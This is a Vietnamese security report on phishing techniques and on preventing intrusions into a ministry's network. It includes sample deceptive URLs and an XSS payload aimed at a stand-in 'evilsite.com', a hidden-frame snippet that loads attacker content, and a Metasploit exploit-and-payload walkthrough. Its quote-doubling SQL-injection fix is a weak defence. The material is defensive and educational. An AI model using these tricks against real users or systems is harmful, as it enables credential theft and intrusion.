1. 9 Phân tích các tấn công kiểu phishing
1.12.1 -Kỹ thuật Man-in-the-middle
Có thể nói đây là một kỹ thuật kinh điển và phổ biến nhất trong giới tin tặc. Lý do là kẻ tấn công luôn có thể tiếp cận đến các kênh thông tin trao đổi giữa các bên, vấn đề là nó có được bọc kín thế nào hay không thôi. Do vậy, trong mọi môi trường giao tiếp, đều tiềm ẩn một dạng tấn công là tin tặc đứng giữa hai người mà hai người đó không hề biết. Trong các mô hình bảo mật, một điều kiện luôn đặt ra phải giả định tin tặc có thể tiếp cận được kênh thông tin.
Trong dạng tấn công này, tin tặc đứng chặn giữa kênh liên lạc hai bên A và B. Sau đó giao tiếp với bên A như thể là bên B và ngược lại. Cách tấn công này hiệu quả với giao thức HTTP, hay ngay cả HTTPS.
Hình 11: Tấn công kiểu man-in-the-middle.
Để đảm bảo được việc lái luồng thông tin của nạn nhân vào máy của mình (gọi là proxy) và lái luồng thông tin của một trang web thật cũng vào proxy, phisher có thể áp dụng các cách sau:
Proxy ẩn:
Có trường hợp, máy proxy này nằm cùng mạng với máy chủ thật hoặc đường dẫn đến máy chủ thật buộc phải đi qua proxy này. Phishing có thể sử dụng ARP spoofing để bắt tất cả các gói tin đến và đi từ máy chủ thật
Kỹ thuật này tạo ra các ánh xạ giả giữa tên miền và địa chỉ IP. Nếu bộ định tuyến sử dụng đến ánh xạ giả này, các gói tin được gửi đến tên miền của máy chủ thật sẽ bị lái đến địa chỉ IP của máy proxy.
Lừa URL:
Bằng những tiểu xảo nào đó, khiến nạn nhân nhận nhầm URL và chọn phải URL của proxy. Tuy nhiên, do phisher thực hiện man-in-the-middle, nên sau đó máy proxy vẫn chuyển tiếp các thông tin đến máy chủ thật. Do vậy, nạn nhân vẫn sử dụng bình thường mà không hề hay biết thông tin của mình bị lấy mất.
Đặt thông số proxy tại máy nạn nhân:
Bằng một cách nào đó, thông số proxy tại trình duyệt của máy nạn nhân bị thay đổi, nó trỏ thẳng đến proxy của phisher.
1.1.2 - Kỹ thuật URL giả
Nguyên tắc của kỹ thuật này là người dùng nhận được một liên kết mà không phát hiện ra nó là liên kết giả, bằng việc nó trông giống hệt như thật, hoặc che giấu nó đi. Sau đây là các chiêu thức phổ biến.
Tên miền giả
Kỹ thuật này tạo ra các tên miền trông có vẻ như tương tự như tên miền hợp pháp. Xét ví dụ của một ngân hàng hợp pháp với tên miền
http://privatebanking.mybank.com. Phisher có thể đăng ký cho mình những tên miền sau nhằm qua mặt khách hàng
http://privatebanking.mybank.com.ch
http://mybank.privatebanking.com
http://privatebanking.mybonk.com
http://privatebanking.mybánk.com
http://privatebanking.mybank.hackproof.com
Các tên miền trông giống thật này thì muôn hình vạn trạng, tùy theo khả năng sáng tạo của phisher.
Dựa vào đăng nhập qua URL
Một số trình duyệt cho phép một số site được để thông tin đăng nhập ngay trên URL. Định dạng sẽ như sau:
URL ://username:password@hostname/path
Các website ngân hàng có độ bảo mật cao, tất nhiên không cho phép điều này. Tuy nhiên, do trình duyệt cho phép, phisher sẽ lợi dụng nó để khách hàng nhầm tưởng mình đang đăng nhập vào trang chính thức. Ví dụ đường link sau bắt đầu với chữ mybank.com, nhưng nó lại dẫn đến site lừa đảo.
http://mybank.com:ebanking@evilsite.com/phishing/fakepage.htm
Dựa vào dịch vụ làm ngắn đường link
Có một số công ty cung cấp dịch vụ làm ngắn đường liên kết. Nguyên lý là họ đưa ra các đường liên kết ngắn gọn, rồi các liên kết đó sẽ lái (redirect) đến đường liên kết thật rất dài. Ý tưởng của dịch vụ này rất đem lại lợi ích cho người dùng. Tuy nhiên, nó lại được phisher lợi dụng.
Phisher sẽ đưa cho khách hàng một đường liên kết rất dài, gần như giống hệt như đường liên kết thật nhưng có để một lỗi nào đó khiến không thể vào được. Bên cạnh đó, phisher sẽ đưa ra một đường liên kết rút gọn, từ một công ty cung cấp đường liên kết rút gọn hợp pháp. Tuy nhiên, nơi mà đường liên kết rút gọn dẫn đến lại là trang lừa đảo.
Viết ra URL ở định dạng khác
Khi trình duyệt nhận một URL ở dạng tên miền, thực chất nó phải chuyển về địa chỉ IP. Phisher lợi dụng điều này, đưa ra các dạng địa chỉ không ở dạng tên miền, nhằm vượt qua các bộ lọc và làm cho người dùng không dễ dàng nhận ra đó là trang lừa đảo. Kỹ thuật này có thể kết hợp với cả các kỹ thuật trên, tạo sức mạnh tổng hợp.
Ví dụ, đường liên kết sau:
http://mybank.com:ebanking@evilsite.com/phishing/fakepage.htm có thể được chuyển thành dạng
Thậm chí, câu chuyện còn phức tạp hơn ở mức, trang sau đây: http://www.evilsite.com/
có thể viết dưới bất cứ dạng nào dưới các dạng sau:
Decimal – http://210.134.161.35/
Dword – http:// 3532038435/
Octal – http://0322.0206.0241.0043/
Hexadecimal – http://0xD2.0x86.0xA1.0x23/ or even http://0xD286A123/
Trong một số trường hợp, liên kết có thể được trộn lẫn các dạng. Ví dụ: http://0322.0x86.161.0043/.
Pha trộn mã hóa
Kỹ thuật này lợi dụng các trình duyệt hay email cho phép sử dụng pha trộn các mã hóa khác nhau, nhằm hỗ trợ cho nhiều dạng ngôn ngữ khác nhau. Tuy nhiên phisher lại lợi dụng điều này để khiến cho người dùng bằng mắt thường không thể nào phát hiện ra liên kết giả.
1.12.3 - Kỹ thuật tấn công Cross-site-Scripting
Kỹ thuật này cho phép nhồi một nội dung lừa đảo vào ngay trong một trang web thật. Kỹ thuật này hiện tại phổ biến trong giới tin tặc và lỗ hổng an ninh khi xây dựng trang web tạo điều kiện cho tin tặc thực thi kiểu tấn công này.
Các kiểu lợi dụng thường thấy là như sau:
Thay hẳn một liên kết con trong liên kết lớn như:
http://mybank.com/ebanking?URL=http://evilsite.com/phishing/fakepage.ht m
Nhồi một đoạn mã.
script:http://mybank.com/ebanking?page=1&client=<SCRIPT>evilcode...
Buộc site thật phải tải một đoạn mã .
http://mybank.com/ebanking?page=1&response=evilsite.com%21evilcode.js &go=2
Phần ngòai là trang web của ngân hàng thật
Hình 12 – Vỏ bọc thật – Nội dung giả
1.12.4 - Kỹ thuật đặt trước Session ID
Do các giao thức HTTP và HTTPS là các giao thức không lưu trạng thái, do vậy việc phân biệt liên lạc giữa một website và với máy của người dùng nào đó được thông qua session ID. Lỗ hổng nằm ở chỗ, những trang web có độ bảo mật kém, có thể cho phép session ID được đặt ra bởi phía máy người dùng.
Do vậy, khi phisher gửi liên kết đến một nạn nhân, trong liên kết đó đã chứa sẵn một session ID mà hắn biết. Việc còn lại chỉ là hắn ngồi chờ đợi, cứ sau một khoảng thời gian ngắn lại sử dụng cái session ID đó để xem có vào được trang web thật kia không (bằng một chương trình tự động).
1.12.5 - Kỹ thuật ẩn
Nội dung lại lấy từ trang web lừa đảo
Bản chất của kỹ thuật này là sử dụng khả năng lập trình HTML, DHTML hoặc những ngôn ngữ kịch bản khác để che dấu những phần có thể làm người dùng phát hiện ra. Cụ thể có những chiêu thức sau.
Frame ẩn
Nguyên tắc của kỹ thuật này là trang web thực chất có 2 frame. Frame thứ nhất trỏ đến trang web thật và chỉ có nó được hiện ra trên trình duyệt. Frame thứ hai được ẩn đi và bí mật theo dõi người dùng.
Ví dụ một đoạn mã như sau:
<frameset rows="100%,*" framespacing="0">
<frame name="real" src="http://mybank.com/" scrolling="auto"> <frame name="hiddenContent" src="http://evilsite.com/bad.htm" scrolling="auto">
</frameset>
Che trang thật
Có một số kỹ thuật lập trình cho phép một trang web có thể hiện che một trang khác. Một phương pháp phổ biến là sử dụng hàm DIV của DHTML.
Lừa bằng ảnh
Một vấn đề khiến phisher e ngại là cho dù ngụy trang khéo đến mấy, người dùng cao tay vẫn có thể phát hiện ra URL, hoặc những chứng thực về mã hóa đường truyền là giả. Sử dụng một số kỹ thuật lập trình, phisher có thể đưa hình ảnh tràn ra ngoài trang web, che những hình ảnh thật và hiện ra những hình ảnh giả. Phisher thậm chí có thể che đi những menu, address bar thật, vv.
1.12.6 - Kỹ thuật theo dõi thông tin nạn nhân
Đây là một kỹ thuật phổ biến trong giới tin tặc, giờ nó đã bắt đầu được các phisher sử dụng.
Key log
Kỹ thuật này ghi lại tòan bộ các phím được bấm trên máy tính của nạn nhân. Key logger có thể là một chương trình ngầm, theo dõi tất cả các chương trình chạy
trên máy tính nạn nhân, hoặc chỉ là một đoạn mã script để theo dõi phím được bấm trong trình duyệt.
Chụp màn hình
Phisher có thể chụp tòan bộ màn hình hoặc những vùng mình quan tâm, nhằm giảm tải.
1.12.7 - Kỹ thuật lợi dụng điểm yếu tại máy người dùng
Lợi dụng các lỗi về bảo mật của trình duyệt, của hệ điều hành, vv. Các lỗi này có thể được công bố nhưng chưa có bản sửa lỗi, hoặc khách hàng chưa kịp cập nhật. Dạng tấn công đó còn được gọi là zero-day attack.
Chương 2 - Quy trình phòng ngừa và ngăn chặn xâm nhập mạng cho hệ thống mạng Bộ Khoa học và Công nghệ
2.1 - Phòng ngừa xâm nhập tường lửa
Cấu hình để bỏ các banner của tường lửa, tránh việc tin tặc thăm dò được các thông tin về tường lửa.
Liên hệ các ISP nhờ họ quản lý ngăn chặn việc quét cổng tường lửa từ Internet.
2.2 - Kiểm tra lỗ hổng bảo mật của các Website
Mua bản quyền bộ công cụ quét ứng dụng website tự động Acunetix Web Vulnerability Scanner.
Sử dụng công cụ miễn phí Metasploit framework .
o Chọn module exploit: lựa chọn chương trình, dịch vụ lỗi mà Metasploit có hỗ trợ để khai thác.
show exploits: xem các module exploit mà framework có hỗ trợ. use exploit_name: chọn module exploit.
info exploit_name: xem thông tin về mô-đun exploit. Nên cập nhật thường xuyên các lỗi dịch vụ trên
www.metasploit.com hoặc qua script msfupdate.bat.
o Cấu hình module exploit đã chọn.
show options: Xác định những lựa chọn nào cần cấu hình. set : cấu hình cho những lựa chọn của mô-đun đó.
Một vài mô-đun còn có những lựa chọn nâng cao, bạn có thể xem bằng cách gõ dòng lệnh show advanceds.
o Thẩm định những lựa chọn vừa cấu hình:
check: kiểm tra xem những lựa chọn đã được đặt chính xác chưa.
o Lựa chọn đích: lựa chọn hệ diều hành nào để thực hiện
show targets: những đích được cung cấp bởi mô-đun đó. set: xác định đích nào.
show targets
exploit sẽ liệt kê ra những đích như: winxp, winxp SP1, win2000, win2000 SP1.
o Lựa chọn payload
payload là đoạn mã mà sẽ chạy trên hệ thống máy tính ở xa. show payloads: liệt kê ra những payload của module exploit
hiện tại.
info payload_name: xem thông tin chi tiết về payload đó.
set PAYL AD payload_name: xác định tên mô-đun payload. Sau khi lựa chọn payload nào, dùng lệnh show options để xem những lựa chọn của payload đó.
show advanced: xem những lựa chọn nâng cao của payload đó.
o Thực thi exploit
exploit: lệnh dùng để thực thi mã payload. Payload sau đó sẽ cung cấp cho bạn những thông tin về hệ thống được khai thác.
2.3 - Phòng ngừa xâm nhập mạng từ trong nội bộ thông qua tài liệu chia sẻ:
Không sử dụng các hệ điều hành từ windows 98 trở xuống vì khả năng bảo mật kém.
Hạn chế việc chia sẻ tài liệu. Nếu phải chia sẻ, chỉ chia sẻ những tài liệu cần thiết, và chỉ cấp quyền đọc.
Khi đặt chia sẻ phải có yêu cầu đăng nhập với mật khẩu phức tạp.
Vô hiệu hoá NetBios
o Bấm vào My Network Places.
o Chọn Local Area Connetion.
o Chọn TCP/ IP sau đó bấm vào propperties.
o Chọn Advandce, chọn WINS và bấm vào Disable NetBIOS over TCP / IP.
Dùng firewall chặn một số cổng không cần thiết.
Khoá tài khoản sau một số lần đăng nhập thất bại.
Không kích hoạt tài khoản khách.
Luôn kiểm tra xem máy tính có bị cài đặt keylogger hay bị chụp màn hình không.
2.4 - Phòng ngừa xâm nhập thông qua mạng không dây
Chỉ có những người dùng được xác thực mới có khả năng truy cập vào mạng thông qua các Access Point.
Các phương thức mã hoá được áp dụng trong quá trình truyền các thông tin quan trọng.
Bảo mật các thông tin và cảnh báo nguy cơ bảo mật bằng hệ thống IDS.
Phải ước lượng được các nguy cơ bảo mật và các mức độ bảo mật cần thiết để áp dụng.
Đánh giá được toàn bộ các giao tiếp qua WLAN và các phương thức bảo mật cần được áp dụng.
Đánh giá được các công cụ và các lựa chọn khi thiết kế về triển khai mạng WLAN.
2.5 - Phòng ngừa xâm nhập hệ điều hành
Để chống tấn công đăng nhập bằng cách sử dụng từ điển, ta khởi động Group Policy, chọn mục Account Lockout Policy, và thay đổi việc khoá hệ thống khi đăng nhập không thành công một số lần. Ví dụ: đăng nhập không thành công 5 lần thì khoá 30 phút.
Để chống việc giải mã mật khẩu:
o Đề phòng những người truy cập vào máy tính của chúng ta.
o Đặt Password dài trên 14 ký tự và có đầy đủ các ký tự: Đặc biệt, hoa, số, thường.
o Kích hoạt tường lửa lên để chống PasswordDUMP, cài đặt và cập nhật các bản vá lỗi mới nhất từ nhà sản xuất.
o Cài đặt tối thiểu một chương trình diệt virus mạnh.
Phòng ngừa xâm nhập hệ điều hành qua lỗ hổng bảo mật
o Luôn cập nhật các bản vá lỗi mới nhất từ nhà sản xuất.
o Kích hoạt tường lửa chỉ mở những cổng cần thiết cho các ứng dụng.
o Có thiết bị IDS phát hiện xâm nhập.
o Có tường lửa chống quét các dịch vụ đang chạy.
2.6 - Phòng ngừa xâm nhập SQL Injection
Trong quá trình phát triển phần mềm, cần bảo vệ các câu truy vấn SQL bằng cách kiểm soát chặt chẽ tất cả các dữ liệu nhập nhận được từ đối tượng Request (Request, Request.QueryString, Request.Form, Request.Cookies, and Request.ServerVariables).
Trong trường hợp dữ liệu nhập vào là chuỗi, lỗi xuất phát từ việc có dấu nháy đơn trong dữ liệu. Để tránh điều này, thay thế các dấu nháy đơn bằng hàm Replace để thay thế bằng 2 dấu nháy đơn. Ví dụ:
p_strUsername = Replace(Request.Form("txtUsername"), "'", "''") p_strPassword = Replace(Request.Form("txtPassword"), "'", "''")
Trong trường hợp dữ liệu nhập vào là số, lỗi xuất phát từ việc thay thế một giá trị được tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL bất hợp pháp. Để tránh điều này, đơn giản hãy kiểm tra dữ liệu có đúng kiểu hay không:
p_lngID = CLng(Request("ID"))
Chú ý loại bỏ bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi.
Nên kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến tài khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông thường nên tránh dùng đến các quyền như dbo hay sa.
2.7 - Phòng ngừa và ngăn chặn tấn công từ chối dịch vụ
Tránh hệ thống mạng Bộ KH&CN trở thành một mạng khuyếch đại bằng cách vô hiệu hóa chức năng directed broadcast tại bộ định tuyến:
o Đối với bộ định tuyến của Cisco: vô hiệu hóa bằng lệnh
no ip directed-broadcast
o Đối với thiết bị khác, nên tham khảo tài liệu
o Solaris: bổ sung thêm dòng sau vào:/etc/rc2.d/S69inet
ndd -set /dev/ip ip_respond_to_echo_broadcast 0
o Linux :Áp dụng bức tường lửa ở cấp độ nhân thông qua ipfw. Biên dịch bức tường lửa sang nhân rồi thi hành các lệnh sau:
ipfwadm -I -a deny -P icmp -D 10.10.10.0 -S 0/0 0 8 ipfwadm -I -a deny -P icmp -D 10.10.10.255 -S 0/0 0 8.